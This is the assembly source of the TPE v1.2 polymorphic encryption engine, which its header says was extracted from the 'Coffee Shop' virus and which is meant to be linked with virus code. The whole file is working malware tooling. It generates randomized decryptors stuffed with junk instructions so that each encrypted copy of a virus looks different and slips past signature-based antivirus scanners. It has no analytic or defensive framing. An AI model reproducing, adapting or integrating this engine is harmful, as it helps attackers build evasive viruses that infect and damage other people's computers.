.radix  16

;-----------------------------------------------------------------------------
;
;                            TPE v1.2 Source Code
;                            --------------------
;
;  Extracted from Coffee Shop virus by: Lucifer Messiah -- ANARKICK SYSTEMS
;
;-----------------------------------------------------------------------------

                .model  tiny
                .code

public          rnd_init
public          rnd_get
public          crypt
public          tpe_bottom
public          tpe_top

;****************************************************************************
;*               Data area for engine
;****************************************************************************

                org     0e0
TPE12:

add_val         dw      0
xor_val         dw      0
xor_offset      dw      0
where_len       dw      0
where_len2      dw      0
flags           db      0


;****************************************************************************
;*              Begin of virus, installation in memory
;****************************************************************************

                org     0100

;****************************************************************************
;*            Insert virus code here, or compile and link to virus
;****************************************************************************






;****************************************************************************
;*
;*              Encryption Engine
;*
;*
;*      Input:  ES      work segment
;*              DS:DX   code to encrypt
;*              BP      what will be start of decryptor
;*              SI      what will be distance between decryptor and code
;*              CX      length of code
;*              AX      flags: bit 0: DS will not be equal to CS
;*                             bit 1: insert random instructions
;*                             bit 2: put junk before decryptor
;*                             bit 3: preserve AX with decryptor
;*
;*      Output: ES:     work segment (preserved)
;*              DS:DX   decryptor + encrypted code
;*              BP      what will be start of decryptor (preserved)
;*              DI      length of decryptor / offset of encrypted code
;*              CX      length of decryptor + encrypted code
;*              AX      length of encrypted code
;*              (other registers may be trashed)
;*
;****************************************************************************

tpe_top         equ     $
                db      '[ MK / Trident ]'

crypt:
                xor     di,di                   ;di = start of decryptor
                push    dx                      ;save offset of code
                push    si                      ;save future offset of code

                mov     byte ptr ds:[flags],al  ;save flags
                test    al,8                    ;push  AX?
                jz      no_push
                mov     al,50
                stosb

no_push:        call    rnd_get                 ;add a few bytes to cx
                and     ax,1F
                add     cx,ax
                push    cx                      ;save length of code

                call    rnd_get                 ;get random flags
                xchg    ax,bx
                                        ;BX flags:

                                        ;0,1    how to encrypt
                                        ;2,3    which register for encryption
                                        ;4      use byte or word for encrypt
                                        ;5      MOV AL, MOV AH or MOV AX
                                        ;6      MOV CL, MOV CH or MOV CX
                                        ;7      AX or DX

                                        ;8      count up or down
                                        ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
                                        ;A      ADD/SUB or INC/DEC
                                        ;       CMPSW or SCASW
                                        ;B      offset in XOR instruction?
                                        ;C      LOOPNZ or LOOP
                                        ;       SUB CX or DEC CX
                                        ;D      carry with crypt ADD/SUB
                                        ;E      carry with inc ADD/SUB
                                        ;F      XOR instruction value or AX/DX

random:         call    rnd_get                 ;get random encryption value
                or      al,al
                jz      random                  ;again if 0
                mov     ds:[xor_val],ax

                call    do_junk                 ;insert random instructions

                pop     cx

                mov     ax,0111                 ;make flags to remember which
                test    bl,20                   ;  MOV instructions are used
                jnz     z0
                xor     al,07
z0:             test    bl,0C
                jnz     z1
                xor     al,70
z1:             test    bl,40
                jnz     z2
                xor     ah,7
z2:             test    bl,10
                jnz     z3
                and     al,73
z3:             test    bh,80
                jnz     z4
                and     al,70

z4:             mov     dx,ax
mov_lup:        call    rnd_get                 ;put MOV instructions in
                and     ax,000F                 ;  a random order
                cmp     al,0A
                ja      mov_lup

                mov     si,ax
                push    cx                      ;test if MOV already done
                xchg    ax,cx
                mov     ax,1
                shl     ax,cl
                mov     cx,ax
                and     cx,dx
                pop     cx
                jz      mov_lup
                xor     dx,ax                   ;remember which MOV done

                push    dx
                call    do_mov                  ;insert MOV instruction
                call    do_nop                  ;insert a random NOP
                pop     dx

                or      dx,dx                   ;all MOVs done?
                jnz     mov_lup

                push    di                      ;save start of decryptor loop

                call    do_add_ax               ;add a value to AX in loop?
                call    do_nop
                test    bh,20                   ;carry with ADD/SUB ?
                jz      no_clc
                mov     al,0F8
                stosb
no_clc:         mov     word ptr ds:[xor_offset],0
                call    do_xor                  ;place all loop instructions
                call    do_nop
                call    do_add

                pop     dx                      ;get start of decryptor loop

                call    do_loop

                test    byte ptr ds:[flags],8   ;insert POP AX ?
                jz      no_pop
                mov     al,58
                stosb

no_pop:         xor     ax,ax                   ;calculate loop offset
                test    bh,1                    ;up or down?
                jz      v1
                mov     ax,cx
                dec     ax
                test    bl,10                   ;encrypt with byte or word?
                jz      v1
                and     al,0FE
v1:             add     ax,di
                add     ax,bp
                pop     si
                add     ax,si
                sub     ax,word ptr ds:[xor_offset]
                mov     si,word ptr ds:[where_len]
                test    bl,0C                   ;are BL,BH used for encryption?
                jnz     v2
                mov     byte ptr es:[si],al
                mov     si,word ptr ds:[where_len2]
                mov     byte ptr es:[si],ah
                jmp     short v3
v2:             mov     word ptr es:[si],ax

v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value

                pop     si                      ;ds:si = start of code

                push    di                      ;save ptr to encrypted code
                push    cx                      ;save length of encrypted code

                test    bl,10                   ;byte or word?
                jz      blup

                inc     cx                      ;cx = # of crypts (words)
                shr     cx,1

lup:            lodsw                           ;encrypt code (words)
                call    do_encrypt
                stosw
                loop    lup
                jmp     short klaar


blup:           lodsb                           ;encrypt code (bytes)
                xor     dh,dh
                call    do_encrypt
                stosb
                loop    blup

klaar:          mov     cx,di                   ;cx = length decryptpr + code
                pop     ax                      ;ax = length of decrypted code
                pop     di                      ;di = offset encrypted code
                xor     dx,dx                   ;ds:dx = decryptor + cr. code
                push    es
                pop     ds
                ret


;****************************************************************************
;*              encrypt the code
;****************************************************************************

do_encrypt:     add     dx,word ptr ds:[add_val]
                test    bl,2
                jnz     lup1
                xor     ax,dx
                ret

lup1:           test    bl,1
                jnz     lup2
                sub     ax,dx
                ret

lup2:           add     ax,dx
                ret


;****************************************************************************
;*              generate mov reg,xxxx
;****************************************************************************

do_mov:         mov     dx,si
                mov     al,byte ptr ds:[si+mov_byte]
                cmp     dl,4                    ;BX?
                jne     is_not_bx
                call    add_ind
is_not_bx:      test    dl,0C                   ;A*?
                pushf
                jnz     is_not_a
                test    bl,80                   ;A* or D*?
                jz      is_not_a
                add     al,2

is_not_a:       call    alter                   ;insert the MOV

                popf                            ;A*?
                jnz     is_not_a2
                mov     ax,word ptr ds:[xor_val]
                jmp     short sss

is_not_a2:      test    dl,8                    ;B*?
                jnz     is_not_b
                mov     si,offset where_len                
                test    dl,2
                jz      is_not_bh
                add     si,2
is_not_bh:      mov     word ptr ds:[si],di
                jmp     short sss

is_not_b:       mov     ax,cx                   ;C*
                test    bl,10                   ;byte or word encryption?
                jz      sss
                inc     ax                      ;only half the number of bytes
                shr     ax,1
sss:            test    dl,3                    ;byte or word register?
                jz      is_x
                test    dl,2                    ;*H?
                jz      is_not_h
                xchg    al,ah
is_not_h:       stosb
                ret

is_x:           stosw
                ret


;****************************************************************************
;*              insert MOV or alternative for MOV
;****************************************************************************

alter:          push    bx
                push    cx
                push    ax
                call    rnd_get
                xchg    ax,bx
                pop     ax
                test    bl,3                    ;use alternative for MOV?
                jz      no_alter

                push    ax
                and     bx,0F
                and     al,08
                shl     ax,1
                or      bx,ax
                pop     ax

                and     al,7
                mov     cl,9
                xchg    ax,cx
                mul     cl

                add     ax,30C0
                xchg    al,ah
                test    bl,4
                jz      no_sub
                mov     al,28
no_sub:         call    maybe_2
                stosw

                mov     al,80
                call    maybe_2
                stosb

                mov     ax,offset add_mode
                xchg    ax,bx
                and     ax,3
                xlat

                add     al,cl
no_alter:       stosb
                pop     cx
                pop     bx
                ret


;****************************************************************************
;*              insert ADD AX,xxxx
;****************************************************************************

do_add_ax:      push    cx
                mov     si,offset add_val       ;save add-value here
                mov     word ptr ds:[si],0
                mov     ax,bx
                and     ax,8110
                xor     ax,8010
                jnz     no_add_ax               ;use ADD?

                mov     ax,bx
                xor     ah,ah
                mov     cl,3
                div     cl
                or      ah,ah
                jnz     no_add_ax               ;use ADD?

                test    bl,80
                jnz     do_81C2                 ;AX or DX?
                mov     al,5
                stosb
                jmp     short do_add0
do_81C2:        mov     ax,0C281
                stosw
do_add0:        call    rnd_get
                mov     word ptr ds:[si],ax
                stosw
no_add_ax:      pop     cx
                ret


;****************************************************************************
;*              generate encryption command
;****************************************************************************

do_xor:         test    byte ptr ds:[flags],1
                jz      no_cs
                mov     al,2E                   ;insert CS: instruction
                stosb

no_cs:          test    bh,80                   ;type of XOR command
                jz      xor1

                call    get_xor                 ;encrypt with register
                call    do_carry
                call    save_it
                xor     ax,ax
                test    bl,80
                jz      xxxx
                add     al,10
xxxx:           call    add_dir
                test    bh,8
                jnz     yyyy
                stosb
                ret

yyyy:           or      al,80
                stosb             
                call    rnd_get
                stosw
                mov     word ptr ds:[xor_offset],ax
                ret

xor1:           mov     al,080                  ;encrypt with value
                call    save_it
                call    get_xor
                call    do_carry
                call    xxxx
                mov     ax,word ptr ds:[xor_val]
                test    bl,10
                jmp     byte_word


;****************************************************************************
;*              generate increase/decrease command
;****************************************************************************

do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
                jz      da0
                test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
                jnz     do_cmpsw

da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
                jz      add1

                mov     al,40                   ;INC/DEC
                test    bh,1                    ;up or down?
                jz      add0
                add     al,8
add0:           call    add_ind
                stosb
                test    bl,10                   ;byte or word?
                jz      return
                stosb                           ;same instruction again
return:         ret

add1:           test    bh,40                   ;ADD/SUB
                jz      no_clc2                 ;carry?
                mov     al,0F8                  ;insert CLC
                stosb
no_clc2:        mov     al,083
                stosb
                mov     al,0C0
                test    bh,1                    ;up or down?
                jz      add2
                mov     al,0E8
add2:           test    bh,40                   ;carry?
                jz      no_ac2
                and     al,0CF
                or      al,10
no_ac2:         call    add_ind
                stosb
                mov     al,1                    ;value to add/sub
save_it:        call    add_1
                stosb
                ret

do_cmpsw:       test    bh,1                    ;up or down?
                jz      no_std
                mov     al,0FDh                 ;insert STD
                stosb
no_std:         test    bh,4                    ;CMPSW or SCASW?
                jz      normal_cmpsw
                test    bl,4                    ;no SCASW if SI is used
                jnz     do_scasw

normal_cmpsw:   mov     al,0A6                  ;CMPSB
                jmp     short save_it
do_scasw:       mov     al,0AE                  ;SCASB
                jmp     short save_it


;****************************************************************************
;*              generate loop command
;****************************************************************************

do_loop:        test    bh,1                    ;no JNE if couting down
                jnz     loop_loop               ;  (prefetch bug!)
                call    rnd_get
                test    al,1                    ;LOOPNZ/LOOP or JNE?
                jnz     cx_loop

loop_loop:      mov     al,0E0
                test    bh,1A                   ;LOOPNZ or LOOP?
                jz      ll0                     ;  no LOOPNZ if xor-offset
                add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
ll0:            stosb
                mov     ax,dx
                sub     ax,di
                dec     ax
                stosb
                ret

cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
                jnz     cxl_dec
                mov     ax,0E983
                stosw
                mov     al,1
                stosb
                jmp     short do_jne                

cxl_dec:        mov     al,49
                stosb
do_jne:         mov     al,75
                jmp     short ll0


;****************************************************************************
;*              add value to AL depending on register type
;****************************************************************************

add_dir:        mov     si,offset dir_change
                jmp     short xx1

add_ind:        mov     si,offset ind_change
xx1:            push    bx
                shr     bl,1
                shr     bl,1
                and     bx,3
                add     al,byte ptr ds:[bx+si]
                pop     bx
                ret


;****************************************************************************
;*              mov encryption command byte to AL
;****************************************************************************

get_xor:        push    bx
                mov     ax,offset how_mode
                xchg    ax,bx
                and     ax,3
                xlat
                pop     bx
                ret


;****************************************************************************
;*              change ADD into ADC
;****************************************************************************

do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
                jz      no_ac
                test    bh,20                   ;carry with (encr.) ADD/SUB?
                jz      no_ac
                and     al,0CF
                or      al,10
no_ac:          ret


;****************************************************************************
;*              change AL (byte/word)
;****************************************************************************

add_1:          test    bl,10
                jz      add_1_ret
                inc     al
add_1_ret:      ret


;****************************************************************************
;*              change AL (byte/word)
;****************************************************************************

maybe_2:        call    add_1
                cmp     al,81                   ;can't touch this
                je      maybe_not
                push    ax
                call    rnd_get
                test    al,1
                pop     ax
                jz      maybe_not
                add     al,2
maybe_not:      ret


;****************************************************************************
;*              get random nop (or not)
;****************************************************************************

do_nop:         test    byte ptr ds:[flags],2
                jz      no_nop
yes_nop:        call    rnd_get
                test    al,3
                jz      nop8
                test    al,2
                jz      nop16
                test    al,1
                jz      nop16x
no_nop:         ret


;****************************************************************************
;*              Insert random instructions
;****************************************************************************

do_junk:        test    byte ptr ds:[flags],4
                jz      no_junk
                call    rnd_get                 ;put a random number of
                and     ax,0F                   ;  dummy instructions before
                inc     ax                      ;  decryptor
                xchg    ax,cx
junk_loop:      call    junk
                loop    junk_loop
no_junk:        ret


;****************************************************************************
;*              get rough random nop (may affect register values)
;****************************************************************************

junk:           call    rnd_get
                and     ax,1E
                jmp     short aa0
nop16x:         call    rnd_get
                and     ax,06
aa0:            xchg    ax,si
                call    rnd_get
                jmp     word ptr ds:[si+junkcals]


;****************************************************************************
;*              NOP and junk addresses
;****************************************************************************

junkcals        dw      offset nop16x0
                dw      offset nop16x1
                dw      offset nop16x2
                dw      offset nop16x3
                dw      offset nop8
                dw      offset nop16
                dw      offset junk6
                dw      offset junk7
                dw      offset junk8
                dw      offset junk9
                dw      offset junkA
                dw      offset junkB
                dw      offset junkC
                dw      offset junkD
                dw      offset junkE
                dw      offset junkF


;****************************************************************************
;*              NOP and junk routines
;****************************************************************************

nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
                or      al,70
                stosw
                ret


nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
                and     ah,07
                inc     ah
                stosw
                xchg    al,ah                   ;get lenght of bullshit
                cbw
                jmp     fill_bullshit


nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
                stosb
                ret


nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
                xor     al,8
                stosb
                ret


nop8:           push    bx                      ;8-bit NOP
                and     al,7
                mov     bx,offset nop_data8
                xlat
                stosb
                pop     bx
                ret


nop16:          push    bx                      ;16-bit NOP
                and     ax,0303
                mov     bx,offset nop_data16
                xlat
                add     al,ah
                stosb
                call    rnd_get
                and     al,7
                mov     bl,9
                mul     bl
                add     al,0C0
                stosb
                pop     bx
                ret


junk6:          push    cx                      ;CALL xxxx / junk / POP reg
                mov     al,0E8
                and     ah,0F
                inc     ah
                stosw
                xor     al,al
                stosb
                xchg    al,ah
                call    fill_bullshit
                call    do_nop
                call    rnd_get                 ;insert POP reg
                and     al,7
                call    no_sp
                mov     cx,ax
                or      al,58
                stosb

                test    ch,3                    ;more?
                jnz     junk6_ret

                call    do_nop
                mov     ax,0F087                ;insert XCHG SI,reg
                or      ah,cl
                test    ch,8
                jz      j6_1
                mov     al,8Bh
j6_1:           stosw

                call    do_nop
                push    bx
                call    rnd_get
                xchg    ax,bx
                and     bx,0F7FBh               ;insert XOR [SI],xxxx
                or      bl,8
                call    do_xor
                pop     bx
junk6_ret:      pop     cx
                ret


junk7:          and     al,0F                   ;MOV reg,xxxx
                or      al,0B0
                call    no_sp
                stosb
                test    al,8
                pushf
                call    rnd_get
                popf
                jmp     short byte_word


junk8:          and     ah,39                   ;DO r/m,r(8/16)
                or      al,0C0
                call    no_sp
                xchg    al,ah
                stosw
                ret


junk9:          and     al,3Bh                  ;DO r(8/16),r/m
                or      al,2
                and     ah,3F
                call    no_sp2
                call    no_bp
                stosw
                ret


junkA:          and     ah,1                    ;DO rm,xxxx
                or      ax,80C0
                call    no_sp
                xchg    al,ah       
                stosw
                test    al,1
                pushf
                call    rnd_get
                popf
                jmp     short byte_word


junkB:          call    nop8                    ;NOP / LOOP
                mov     ax,0FDE2
                stosw
                ret


junkC:          and     al,09                   ;CMPS* or SCAS*
                test    ah,1
                jz      mov_test
                or      al,0A6
                stosb
                ret
mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
                stosb
                cmp     al,0A8
                pushf
                call    rnd_get
                popf
                jmp     short byte_word


junkD:          and     al,07                   ;XCHG AX,reg
                or      al,90
                call    no_sp
                stosb
                ret


junkE:          and     ah,07                   ;PUSH reg / POP reg
                or      ah,50
                mov     al,ah
                or      ah,08
                stosw
                ret


junkF:          and     al,0F                   ;INC / DEC
                or      al,40
                call    no_sp
                stosb
                ret


;****************************************************************************
;*              store a byte or a word
;****************************************************************************

byte_word:      jz      only_byte
                stosw
                ret

only_byte:      stosb
                ret


;****************************************************************************
;*              don't fuck with SP!
;****************************************************************************

no_sp:          push    ax
                and     al,7
                cmp     al,4
                pop     ax
                jnz     no_sp_ret
                and     al,0FBh
no_sp_ret:      ret


;****************************************************************************
;*              don't fuck with SP!
;****************************************************************************

no_sp2:         push    ax
                and     ah,38
                cmp     ah,20
                pop     ax
                jnz     no_sp2_ret
                xor     ah,20
no_sp2_ret:     ret


;****************************************************************************
;*              don't use [BP+..]
;****************************************************************************

no_bp:          test    ah,4
                jnz     no_bp2
                and     ah,0FDh
                ret

no_bp2:         push    ax
                and     ah,7
                cmp     ah,6
                pop     ax
                jnz     no_bp_ret
                or      ah,1
no_bp_ret:      ret


;****************************************************************************
;*              write byte for JMP/CALL and fill with random bullshit
;****************************************************************************

fill_bullshit:  push    cx
                xchg    ax,cx
bull_lup:       call    rnd_get
                stosb
                loop    bull_lup
                pop     cx
                ret


;****************************************************************************
;*              random number generator  (stolen from 'Bomber')
;****************************************************************************

rnd_init:       push    cx
                call    rnd_init0               ;init
                and     ax,000F
                inc     ax
                xchg    ax,cx
random_lup:     call    rnd_get                 ;call random routine a few
                loop    random_lup              ;  times to 'warm up'
                pop     cx
                ret

rnd_init0:      push    dx                      ;initialize generator
                push    cx
                mov     ah,2C
                int     21
                in      al,40
                mov     ah,al
                in      al,40
                xor     ax,cx
                xor     dx,ax
                jmp     short move_rnd

rnd_get:        push    dx                      ;calculate a random number
                push    cx
                push    bx
                mov     ax,0                    ;will be: mov ax,xxxx
                mov     dx,0                    ;  and mov dx,xxxx
                mov     cx,7
rnd_lup:        shl     ax,1
                rcl     dx,1
                mov     bl,al
                xor     bl,dh
                jns     rnd_l2
                inc     al
rnd_l2:         loop    rnd_lup
                pop     bx

move_rnd:       mov     word ptr ds:[rnd_get+4],ax
                mov     word ptr ds:[rnd_get+7],dx
                mov     al,dl
                pop     cx
                pop     dx
                ret


;****************************************************************************
;*              tables for engine
;****************************************************************************

                ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5

                ;       nop clc  stc  cmc  cli  cld incbp decbp
nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh

                ;      or and xchg mov
nop_data16      db      8, 20, 84, 88

                ;     bl/bh, bx, si  di
dir_change      db      07, 07, 04, 05
ind_change      db      03, 03, 06, 07


                ;       xor xor add sub
how_mode        db      30, 30, 00, 28

                ;       ?  add  xor  or
add_mode        db      0, 0C8, 0F0, 0C0

tpe_bottom      equ     $

                end     TPE12